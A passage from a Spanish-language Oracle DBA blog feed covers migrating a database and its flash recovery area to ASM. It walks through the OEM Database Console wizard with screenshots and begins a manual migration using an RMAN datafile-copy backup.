&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho7Y8EwmxPXBqZ1wU_F0vmEZXwQEzwECVgtmqkzhy3f4ehaLFhQAa7DaEpchl9oFBxVLNhd-_NpWy5K7Blzwl9rvLF2b_MjFodED9mlca21POrJOOADHbCAYbi-S7xX_Gct7cHNs4rJS8Z/s1600-h/oem.asm.11g.16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho7Y8EwmxPXBqZ1wU_F0vmEZXwQEzwECVgtmqkzhy3f4ehaLFhQAa7DaEpchl9oFBxVLNhd-_NpWy5K7Blzwl9rvLF2b_MjFodED9mlca21POrJOOADHbCAYbi-S7xX_Gct7cHNs4rJS8Z/s400/oem.asm.11g.16.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Puerta de acceso a gran cantidad de información y opciones que nos permitirán administrar la instancia ASM con la misma simplicidad que OEM nos proporciona para la base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZwCVFeOwJIZtLsvvw01echcj244ffsfHyv2-_Qyy-TXYswxYQ71j5htQsh0KMue66pNZLyRHzn0iVnKA0mL9Knrw9bAcGn7SEsM4h1nk1hxUwaBCqO9CDRQxveTH8V7pHCdM5xC1_2sIi/s1600-h/oem.asm.11g.17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZwCVFeOwJIZtLsvvw01echcj244ffsfHyv2-_Qyy-TXYswxYQ71j5htQsh0KMue66pNZLyRHzn0iVnKA0mL9Knrw9bAcGn7SEsM4h1nk1hxUwaBCqO9CDRQxveTH8V7pHCdM5xC1_2sIi/s400/oem.asm.11g.17.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En este punto, y luego de tratar el tema durante varios &lt;i&gt;Posts&lt;/i&gt; consecutivos, tenemos una base de datos que reside en &lt;i&gt;ASM&lt;/i&gt; al igual que su &lt;i&gt;Flash Recovery Area&lt;/i&gt;, siendo ambas instancias plenamente administrables desde &lt;i&gt;OEM Database Console&lt;/i&gt;. Llegamos pues al &lt;b&gt;final&lt;/b&gt; de esta serie que espero les haya sido de utilidad, o eventualmente lo sea, en cuanto den el paso de adoptar &lt;i&gt;ASM&lt;/i&gt; (lo cual ocurrirá tarde o temprano).&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT9979cR_E3Xn7kpFGvAAhnPfGNsYEm33hZid1mnB0atbcGINAW-7ca-RJ_p6oWBBS_Jk-5jF2qDzVfP3vauGEzAEKthDDtftkPlv8sIKW7jRXvZOvJVEIYI9tKnaxd05yJBMN7qXnexTF/s72-c/upgrade.asm.0.jpg" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7594217945278639474</guid><pubDate>Sat, 28 Mar 2009 17:29:00 +0000</pubDate><atom:updated>2009-09-02T11:19:29.221-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ASM</category><title>Migrando la base de datos a ASM, la forma fácil</title><description>&lt;div&gt;Hola amigos, antes de abordar el tema principal de este &lt;i&gt;Post&lt;/i&gt;, quería compartir con Uds. un acontecimiento &lt;b&gt;muy especial&lt;/b&gt;: hace unos pocos días recibí una comunicación de Lillian Buziak (Oracle), indicándome que luego de una evaluación habían decidido otorgarme el &lt;b&gt;&lt;i&gt;&lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:4:2929068833417754::NO:4:P4_ID:540"&gt;Oracle ACE Award&lt;/a&gt;&lt;/i&gt;&lt;/b&gt;, con lo que vengo a ser el &lt;b&gt;segundo peruano&lt;/b&gt; (junto a &lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:4:429150866479107::NO:4:P4_ID:46"&gt;Plinio Arbizu&lt;/a&gt;, &lt;i&gt;Oracle Ace Director&lt;/i&gt;) y sexto latinoamericano en recibir este reconocimiento que Oracle otorga en mérito a la participación activa en la comunidad Oracle. Si bien es un premio que me llena de alegría, también representa el compromiso de seguir colaborando en la difusión de conocimientos.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Teniendo en cuenta que hay 207 &lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:3:3946486737157572"&gt;Oracle ACE&lt;/a&gt;, si Uds. conocen de alguien que merezca este reconocimiento, pueden nominarlo llenando un &lt;a href="http://www.oracle.com/technology/community/oracle_ace/nominations/index.html"&gt;formato&lt;/a&gt;, en nuestras manos está incrementar y premiar la participación de los profesionales de habla hispana!&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Ahora sí, continuando con la serie dedicada a &lt;b&gt;ASM&lt;/b&gt;, recordaremos que en el &lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Post anterior&lt;/a&gt; se realizó el traslado manual de la base de datos hacia ASM, ahora veremos cómo lograr el mismo propósito empleando &lt;b&gt;&lt;i&gt;Oracle Enterprise Manager Database Console&lt;/i&gt;&lt;/b&gt;, tarea que resulta sumamente sencilla gracias a que seremos guiado por un &lt;b&gt;&lt;i&gt;wizard&lt;/i&gt;&lt;/b&gt; muy bien elaborado y completo, que contempla todos los aspectos de la migración sin dejar nada de lado. Sin mayores preámbulos veamos el procedimiento a seguir:&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; En la pestaña &lt;b&gt;&lt;i&gt;Server&lt;/i&gt;&lt;/b&gt; encontraremos la opción &lt;b&gt;&lt;i&gt;Migrate to ASM&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9w8i7Z_QA5PuPRwqmOhPX356yLmnOP0LEoauyPlRfMe-7sTz2n4uwlzWHahOPRsVqtaVikIyoeAFhiBEgxelUDOkvf2smigGR698VxCsFUCnhjD9OIaezTN-t64WpGXJEBp5EJAfQNf7p/s1600-h/oem.asm.11g.01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9w8i7Z_QA5PuPRwqmOhPX356yLmnOP0LEoauyPlRfMe-7sTz2n4uwlzWHahOPRsVqtaVikIyoeAFhiBEgxelUDOkvf2smigGR698VxCsFUCnhjD9OIaezTN-t64WpGXJEBp5EJAfQNf7p/s400/oem.asm.11g.01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Procedemos a completar la información requerida para identificar plenamente a la instancia ASM en la cual residirá la base de datos.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfUbZQp5zpz5G7dlG4yvTT2Uav83bveKez-JkR_cqsPNnwqkQJEKg7rQbu1QBYWt_bBmR9nvcLOLrySGMls6bXlK-k8Z2EZnYFcKAHTsH4qRvMpk7g15IhrnKeY0yJdIKtcjV6hwdMF5w3/s1600-h/oem.asm.11g.02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfUbZQp5zpz5G7dlG4yvTT2Uav83bveKez-JkR_cqsPNnwqkQJEKg7rQbu1QBYWt_bBmR9nvcLOLrySGMls6bXlK-k8Z2EZnYFcKAHTsH4qRvMpk7g15IhrnKeY0yJdIKtcjV6hwdMF5w3/s400/oem.asm.11g.02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt; Para lograr el mismo objetivo que conseguimos con el procedimiento manual, seleccionamos como archivos a migrar tanto los archivos de la base de datos como los backups y archive logs, prestando especial atención a seleccionar una migracion &lt;b&gt;&lt;i&gt;online&lt;/b&gt;&lt;/i&gt;, a fin de minimizar la suspensión del servicio.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN577ROTLXZDXvoPxCrm9rDGlvJkpiBqxbs9WlnZgLJa6IMoBTqhhLpQmfzUZJXUWS3OwOP74ZCJLxRc-FeDTrgV9gYHQTb8ubVJFehBC96W_RoUdyQku2U3DS264gBBFLZ2f7kGvGrInW/s1600-h/oem.asm.11g.03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN577ROTLXZDXvoPxCrm9rDGlvJkpiBqxbs9WlnZgLJa6IMoBTqhhLpQmfzUZJXUWS3OwOP74ZCJLxRc-FeDTrgV9gYHQTb8ubVJFehBC96W_RoUdyQku2U3DS264gBBFLZ2f7kGvGrInW/s400/oem.asm.11g.03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4.&lt;/span&gt; Es hora de seleccionar los &lt;b&gt;&lt;i&gt;Disk Groups&lt;/i&gt;&lt;/b&gt; en los cuales residirán tanto la base de datos (DAT), como el &lt;i&gt;Flash Recovery Area&lt;/i&gt; (FRA), en este último caso seleccionamos la migración de todos los contenidos.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidabRznoDtXJslFRemFJcGTNoO3_LxQmeDIKg85tj0PQxqt6-KV2IJriXjUpPPl7Hlk3f7JqBEMVIQExTxpEshYWWxCncwHqQMRJjujZwyxW1fXwpQAKqldnxtDueNT1D9PGq4PQS5jYjM/s1600-h/oem.asm.11g.04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidabRznoDtXJslFRemFJcGTNoO3_LxQmeDIKg85tj0PQxqt6-KV2IJriXjUpPPl7Hlk3f7JqBEMVIQExTxpEshYWWxCncwHqQMRJjujZwyxW1fXwpQAKqldnxtDueNT1D9PGq4PQS5jYjM/s400/oem.asm.11g.04.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5.&lt;/span&gt; Y esto fue todo, ahora solo nos queda indicar cuándo queremos que se realice la migración, si de inmediato o en una fecha futura.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp-HtCOiUBrUI3IQJLpOfW0CBbwcsuk52XSd-DBstK694HYohG5wyre8Tt2gm3h5ejgkgH7Vjdsjz4mTy37jAuiIZhry_RLzAONKbXzH30nx-vYnb3Z8UZO2ljtAC-5LonHdEju1ESijXf/s1600-h/oem.asm.11g.05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp-HtCOiUBrUI3IQJLpOfW0CBbwcsuk52XSd-DBstK694HYohG5wyre8Tt2gm3h5ejgkgH7Vjdsjz4mTy37jAuiIZhry_RLzAONKbXzH30nx-vYnb3Z8UZO2ljtAC-5LonHdEju1ESijXf/s400/oem.asm.11g.05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6.&lt;/span&gt; Antes de registrar esta tarea en el Scheduler, le damos una revisada a lo que se estará ejecutando y cuando estemos seguros presionamos el botón &lt;b&gt;&amp;lt;Submit Job&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvmQOhAdfrU1SBl-2sIxg8ttvBvLbYcIAaR_wAy0b-LnpQvJLUUVAVOwtc0uSCxAi7Zu5ACwlPHy61l_Lb5yieBmQUqZubUZ7zzuZFp6qyTsTKwTR3tvIVmhsLulJ9d4gmk8y6sGMFz8X/s1600-h/oem.asm.11g.06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVvmQOhAdfrU1SBl-2sIxg8ttvBvLbYcIAaR_wAy0b-LnpQvJLUUVAVOwtc0uSCxAi7Zu5ACwlPHy61l_Lb5yieBmQUqZubUZ7zzuZFp6qyTsTKwTR3tvIVmhsLulJ9d4gmk8y6sGMFz8X/s400/oem.asm.11g.06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwj8G5WZHrtD9P40o62r3FNN-E6t5JoXMvi48hHvPNQ4t0AwF8wicKBZ4XHPiwjlz74YzzmzsvRlLjkybhs0p0Dd8j5ujyKiA-MNVJ-0sF69nCzcOfZw3Qw-jbUpZvaN_68JOndguKeqmA/s1600-h/oem.asm.11g.07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwj8G5WZHrtD9P40o62r3FNN-E6t5JoXMvi48hHvPNQ4t0AwF8wicKBZ4XHPiwjlz74YzzmzsvRlLjkybhs0p0Dd8j5ujyKiA-MNVJ-0sF69nCzcOfZw3Qw-jbUpZvaN_68JOndguKeqmA/s400/oem.asm.11g.07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7.&lt;/span&gt; Con la tarea ya en ejecución podemos ir revisando su avance, esto hasta que eventualmente se llegue a la parte en la cual se hace el &lt;b&gt;&lt;i&gt;switch&lt;/b&gt;&lt;/i&gt;, momento en el que la base de datos será detenida y por tanto se nos solicitará nuevamente las credenciales para restablecer la conexión con &lt;i&gt;Oracle Enterprise Manager Database Console&lt;/i&gt;.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaiugkToF9brTAzdghoNY_Usm0o3F4sfM5K1MW6D5s-3obdLMUUtuJGCFcEJZxn-h1LEM7hyphenhyphenRpkwxm-gGeOsHA8Y8TXLEI8lQablbGbfW64NWwwckB5stoolWEWtx2-7i7kSaEHyNIiHGa/s1600-h/oem.asm.11g.08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaiugkToF9brTAzdghoNY_Usm0o3F4sfM5K1MW6D5s-3obdLMUUtuJGCFcEJZxn-h1LEM7hyphenhyphenRpkwxm-gGeOsHA8Y8TXLEI8lQablbGbfW64NWwwckB5stoolWEWtx2-7i7kSaEHyNIiHGa/s400/oem.asm.11g.08.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD3VyY4wz0Le5vjKxxbfm5asq5FyAuCKEVtftTWLxUbYSriqIcdnPngZfrOaytAc7X4mm3vSFWgXg1AMFc5LZacEAp0senMvlIj-TuIaVPDlo83g54QVZdj1pp3zHxSP3WfaWpD_edaOue/s1600-h/oem.asm.11g.09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD3VyY4wz0Le5vjKxxbfm5asq5FyAuCKEVtftTWLxUbYSriqIcdnPngZfrOaytAc7X4mm3vSFWgXg1AMFc5LZacEAp0senMvlIj-TuIaVPDlo83g54QVZdj1pp3zHxSP3WfaWpD_edaOue/s400/oem.asm.11g.09.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDIC56v9NGR8QYCLGDtShbn7zvs-XVDx73eNbcubKOU-xQzpBE7tuo7OtpgKeFdht1ZIJa6nruAAEALjnqJYw1aDWC92Rz8k7R9qEWhtMvoQOyw8oELJXJ22t2GVtTFhrrGRsy5ubnMJtw/s1600-h/oem.asm.11g.10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDIC56v9NGR8QYCLGDtShbn7zvs-XVDx73eNbcubKOU-xQzpBE7tuo7OtpgKeFdht1ZIJa6nruAAEALjnqJYw1aDWC92Rz8k7R9qEWhtMvoQOyw8oELJXJ22t2GVtTFhrrGRsy5ubnMJtw/s400/oem.asm.11g.10.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8.&lt;/span&gt; La migración ha concluido &lt;b&gt;satisfactoriamente&lt;/b&gt;, tal como podemos comprobar al inspeccionar que tanto los objetos de la &lt;b&gt;base de datos&lt;/b&gt; como los contenidos del &lt;b&gt;&lt;i&gt;flash recovery area&lt;/i&gt;&lt;/b&gt; residen ahora en la instancia &lt;b&gt;ASM&lt;/b&gt;, cada cual en sus respectivos &lt;i&gt;Disk Groups&lt;/i&gt;.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim53C8PyLrCdDA4h8_w18NyzaHVipQi7p9Dx_rvNYXxG4CIKi2lVxJcWu-zLALbl1Pab6g27PeVRHB6uMugyvKvqf3-bTqATZLf9Dg8SddeMG61uqjLGziphDx005e46g1z7Znnv4mxwx6/s1600-h/oem.asm.11g.11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim53C8PyLrCdDA4h8_w18NyzaHVipQi7p9Dx_rvNYXxG4CIKi2lVxJcWu-zLALbl1Pab6g27PeVRHB6uMugyvKvqf3-bTqATZLf9Dg8SddeMG61uqjLGziphDx005e46g1z7Znnv4mxwx6/s400/oem.asm.11g.11.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgke-6iBeFgVyg1s6rqKhH5GjQlyTb3u6J-VfRPMsFyV4rFjW33HEAaCYmWY9l9TgrehLOAlkpQAVyGKxCb3DVeFhb26268XAWTpnUQwgkS4W6QAihb7GyItbogfQZwfce1yhcsCP-9CyQq/s1600-h/oem.asm.11g.12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgke-6iBeFgVyg1s6rqKhH5GjQlyTb3u6J-VfRPMsFyV4rFjW33HEAaCYmWY9l9TgrehLOAlkpQAVyGKxCb3DVeFhb26268XAWTpnUQwgkS4W6QAihb7GyItbogfQZwfce1yhcsCP-9CyQq/s400/oem.asm.11g.12.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO9fmn6ts8cbgTdYQVC52tz1ZqsqrhAAXNUnj3nHEaAaYg2uPUTwsvrj86aVkNn1-BrAuOQY0KlSODJJqpoaDCqOvOmINEL8SUtLD6aa4g2IDsOfSJdlb6DJIkgB2-yWb-70TA8AIgr6LU/s1600-h/oem.asm.11g.13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO9fmn6ts8cbgTdYQVC52tz1ZqsqrhAAXNUnj3nHEaAaYg2uPUTwsvrj86aVkNn1-BrAuOQY0KlSODJJqpoaDCqOvOmINEL8SUtLD6aa4g2IDsOfSJdlb6DJIkgB2-yWb-70TA8AIgr6LU/s400/oem.asm.11g.13.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2MKZaYlKqDg1OD-ksxVIF6o1ZN6yvtsgnsd-omGunA466jVEP7AqxNnW4psiKX9znDSL9yx7eoDrZAK2Hwd07mfrZaiKw_T3tN3HFH2FXC5S_nvKMNHm4iOl7oxBvSF_803sFJo9EeL4b/s1600-h/oem.asm.11g.14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2MKZaYlKqDg1OD-ksxVIF6o1ZN6yvtsgnsd-omGunA466jVEP7AqxNnW4psiKX9znDSL9yx7eoDrZAK2Hwd07mfrZaiKw_T3tN3HFH2FXC5S_nvKMNHm4iOl7oxBvSF_803sFJo9EeL4b/s400/oem.asm.11g.14.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;¡Tarea concluída!&lt;/b&gt; Coincidirán en que usar &lt;i&gt;OEM Database Console&lt;/i&gt; para migrar la base de datos y el flash recovery area representa un esfuerzo mucho &lt;b&gt;menor&lt;/b&gt; que su contraparte manual, pero no está de más saber cómo hacerlo de ambas formas. En el siguiente &lt;i&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Post&lt;/a&gt;&lt;/i&gt; (el último de esta serie), les mostraré como registrar la instancia &lt;i&gt;ASM&lt;/i&gt; para que sea administrable desde &lt;i&gt;OEM Database Console&lt;/i&gt;, así como el procedimiento a seguir para realizar un &lt;i&gt;upgrade&lt;/i&gt; a &lt;i&gt;ASM&lt;/i&gt;, estén atentos...&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9w8i7Z_QA5PuPRwqmOhPX356yLmnOP0LEoauyPlRfMe-7sTz2n4uwlzWHahOPRsVqtaVikIyoeAFhiBEgxelUDOkvf2smigGR698VxCsFUCnhjD9OIaezTN-t64WpGXJEBp5EJAfQNf7p/s72-c/oem.asm.11g.01.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-8675961986535241689</guid><pubDate>Sat, 07 Mar 2009 21:35:00 +0000</pubDate><atom:updated>2009-09-02T11:20:08.324-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">ASM</category><title>Trasladando la Base de Datos hacia ASM</title><description>&lt;div&gt;Cómo vuela el tiempo, ha pasado ya un &lt;b&gt;mes&lt;/b&gt; desde mi último &lt;b&gt;Post&lt;/b&gt;, mil disculpas, salí de vacaciones con toda la familia y aun cuando acostumbro tomarme unos días para &lt;b&gt;&lt;i&gt;reponerme&lt;/i&gt;&lt;/b&gt; de ellas, pues cuando son en familia es dificil descansar, a mi regreso tenía trabajo acumulado así que empecé una &lt;b&gt;Consultoría&lt;/b&gt; en el día y el dictado del curso &lt;b&gt;Performance Tuning 10g&lt;/b&gt; por las noches, manteniéndome bastante ocupado las últimas semanas. Hoy tengo algo de tiempo por lo que sin más demoras retomaré la &lt;b&gt;serie&lt;/b&gt; que iniciara en el &lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Post previo&lt;/a&gt;, recordarán que en él les mostré como &lt;b&gt;instalar y configurar&lt;/b&gt; el software necesario, así como la &lt;b&gt;creación&lt;/b&gt; de la instancia ASM; ahora continuaré con el &lt;b&gt;traslado manual&lt;/b&gt; de la base de datos hacia &lt;b&gt;ASM&lt;/b&gt;, incluyendo: &lt;i&gt;spfile, control files, datafiles, online redo logs, archive logs, backups, tracking file&lt;/i&gt; y &lt;i&gt;flashback logs&lt;/i&gt;, veamos entonces la secuencia de pasos a seguir.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Migración de la Base de Datos hacia ASM&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Obtenemos un &lt;b&gt;backup&lt;/b&gt; de los &lt;i&gt;datafiles&lt;/i&gt; directamente hacia &lt;i&gt;ASM&lt;/i&gt;, como copias y sobre el &lt;i&gt;disk group&lt;/i&gt; &lt;b&gt;+DAT&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; backup as copy incremental level 0 database
2&amp;gt; format '+DAT' tag 'migracion_asm';

Starting backup at 04/02/2009 04:10:11
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=120 device type=DISK
channel ORA_DISK_1: starting datafile copy
input datafile file number=00001 name=/u01/app/oracle/oradata/orcl/system01.dbf
output file name=+DAT/orcl/datafile/system.265.677909423 tag=MIGRACION_ASM RECID=2 STAMP=677909527
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:01:55
channel ORA_DISK_1: starting datafile copy
input datafile file number=00002 name=/u01/app/oracle/oradata/orcl/sysaux01.dbf
output file name=+DAT/orcl/datafile/sysaux.264.677909533 tag=MIGRACION_ASM RECID=3 STAMP=677909606
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:01:26
channel ORA_DISK_1: starting datafile copy
input datafile file number=00005 name=/u01/app/oracle/oradata/orcl/example01.dbf
output file name=+DAT/orcl/datafile/example.258.677909617 tag=MIGRACION_ASM RECID=4 STAMP=677909630
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:15
